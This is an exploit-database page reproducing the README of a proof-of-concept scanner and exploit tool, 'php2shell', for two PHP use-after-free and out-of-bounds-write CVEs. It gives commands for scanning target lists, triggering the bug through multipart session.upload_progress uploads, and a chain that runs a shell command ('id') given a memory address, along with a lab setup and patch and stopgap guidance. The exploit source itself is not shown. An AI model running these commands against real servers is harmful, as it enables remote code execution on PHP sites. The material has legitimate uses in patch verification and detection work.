Back Sploitus Exploit for Improperly Controlled Sequential Memory Allocation in Php
**Modular PoC & scanner for the PHP `session.upload_progress` use-after-free (php2shell research pair)**
[
- [Repository layout](#-repository-layout)
- [Detection & remediation](#-detection--remediation)
On **2026-10-21** PHP disclosed two critical remote-code-execution vulnerabilities
affecting *every* PHP runtime that serves HTTP requests:
| [CVE-2026-109618]( | **9.2** | Out-of-bounds write | Memory-exhaustion interrupted `$_POST` insertion → attacker-controlled cleanup → `system()` |
| [CVE-2026-109619]( | **9.2** | Use-after-free | Stale worker state from a request followed by a later upload |
Both affect **mod_php, PHP-FPM, php-cgi, FrankenPHP, LiteSpeed**.
**Application authentication cannot block them** — PHP executes the payload
*before* application code runs. WordPress, Drupal, Laravel, plain PHP scripts
7.4 / 8.0 / 8.1 received **vendor backports only** — see your distro advisory.
- **`check`** — passive GET-only fingerprint (safe for any authorized target)
- **`exploit`** — active trigger tests (618 smart mode / 619 with offsets)
- **`build`** — offline multipart body builder for debugging in Burp/ZAP
- **`lab/`** — docker-compose lab (vulnerable PHP + `check_progress.php`)
git clone
python -m pip install -r requirements.txt # no external deps required; kept for CI
# 1. Fingerprint one URL (GET only, safe)
python poc.py check -f targets.txt -o results.jsonl --workers 16
docker compose -f lab/docker-compose.yml up -d
python poc.py exploit --monitor --stall 1.5
# 4. Authorized internet target (smart 618)
python poc.py exploit -o one-host.json
├── poc.py # CLI entry point
├── php2shell_core.py # HTTP layer, multipart builders, fingerprint, 618/619 bodies
├── php2shell_exploit.py # Smart 618 orchestrator (paths × variants)
├── lab/ # Vulnerable PHP docker lab
├── tests/ # pytest / unittest suite
├── docs/ # EXPLOIT.md, MITIGATION.md, DETECTION.md
├── assets/ # SVG icons used in this README
├── requirements.txt # (empty — stdlib only)
├── SECURITY.md # scope + disclosure policy
└── GITHUB.md # first-push checklist
python poc.py [check | exploit | build] [URL] [options]
| `check` | — | GET only | Safe for reconnaissance |
| `exploit` | **yes** | POST multipart | Active trigger — authorized only |
| `build` | — | Local file | Offline, no network |
| `-f, --file FILE` | Target list (one per line, `#` allowed) |
| `-o, --output FILE` | JSON / JSONL output |
| `--timeout N` | Per-request TCP/HTTP timeout (default 10s) |
| `--workers N` | Concurrency (default 8) |
| `--no-color` / `--color` | Force plain / force ANSI (Windows VT) |
Passive, GET-only. Reads `X-Powered-By` and up to ~8 KB of response body.
Parses only strings that look like **`PHP/x.y.z`** — will not confuse
python poc.py check -f domains.txt -o results.jsonl --workers 16
| `likely_vulnerable` | Full patch level seen, below fixed release |
| `branch_only` | Banner like `PHP/8.4` only — patch unknown |
| `patched` | At/above 8.2.35, 8.3.36, 8.4.27, 8.5.12 |
| `eol_or_unknown` | EOL branch or unmapped |
| `no_php_version` | No banner (CDN, `expose_php=Off`) |
| `unreachable` | No usable HTTP response |
> **Authorized testing only.** This sends real multipart traffic with `PHP_SESSION_UPLOAD_PROGRESS`. It will **not** produce a shell without the `619 --call` offset for your target's exact binary.
docker compose -f lab/docker-compose.yml up -d
python poc.py exploit --monitor --stall 1.5
`exploit_status=armed` means the lab's `check_progress.php` observed
`upload_progress_*` during the stall — the UAF path was reached.
1. Tries up to **4 paths** (URL path, `/index.php`, `/`, `/wp-login.php`, WP hints).
- **`stall`** — two-phase upload split across ~1.5 s
- **`micro`** — ~258 B single POST (writeup style)
- **`inject`** — `PHPSESSID` in body without cookie (fixation probe)
python poc.py exploit --json -o report.json
| `armed` | ✅ | Lab monitor confirmed `upload_progress_*` |
| `session_fixation` | ✅ | `Set-Cookie: PHPSESSID=` — primitive, not shell |
| `upload_accepted` | ❌ | HTTP 200 class — weak signal |
| `crash_signal` | ⚠️ | 502/503/empty — worker likely died (`--force` to escalate) |
| `inconclusive` | ❌ | Nothing useful — typical on hardened production |
| `skipped_patched` | ❌ | Fingerprint says patched (`--force` to override) |
| `rce_hit` | ✅ | 619 + valid `--call` + marker in body |
Not portable. Needs `zend_call_function` for your **exact** PHP binary + build.
python poc.py exploit --chain 619 \
--call 0xYOUR_ADDR --command "id" --expect "uid="
python poc.py build --chain trigger -o body.bin
python poc.py build --chain 619 --call 0x... -o body-619.bin
No network — debug or replay through Burp/ZAP.
# vulnerable PHP 8.5.11 + Apache + check_progress.php on :19268
python ../poc.py exploit --monitor --stall 1.5
See [`docs/EXPLOIT.md`](docs/EXPLOIT.md) for the exact response shapes and
See [`docs/EXPLOIT.md`](docs/EXPLOIT.md) for the full table of verdicts,
signals, and research pointers (0x4148, Zer061, ikow).
| **Patch** (primary) | 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 |
| Stopgap | `session.upload_progress.enabled=0` |
| Stopgap (8.5) | `fatal_error_backtraces=0` |
| Stopgap (618) | `memory_limit=-1` + frontend body-size cap |
| Restart | Rebuild images; replace every FPM/Apache/LiteSpeed worker |
See [`docs/MITIGATION.md`](docs/MITIGATION.md) and [`docs/DETECTION.md`](docs/DETECTION.md)
for nginx / Apache / Caddy / Cloudflare rule templates and log signatures
(`Unknown on line 0`, `AH00052 … Segmentation fault (11)`).
- **Do not run** `exploit` against systems you do not own or have written
- **Do not** use `check` for mass internet scanning.
- **You are responsible** for compliance with applicable law:
CFAA (US), CMA (UK), § 202a StGB (DE), Article 323-1 Code Pénal (FR),
IT Act §66 (IN), and equivalents everywhere else.
See [`SECURITY.md`](SECURITY.md) for the full scope and disclosure policy.
- Trigger/monitor: **Ahmed Sultan** (0x4148) — [lab](
- 619 forge: **Andrew Dorman** / **Zer061** — [bundle](
- Research writeup: [ikow/php2shell-poc](
- Independent packaging, hardening, tests, CI: this repo
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
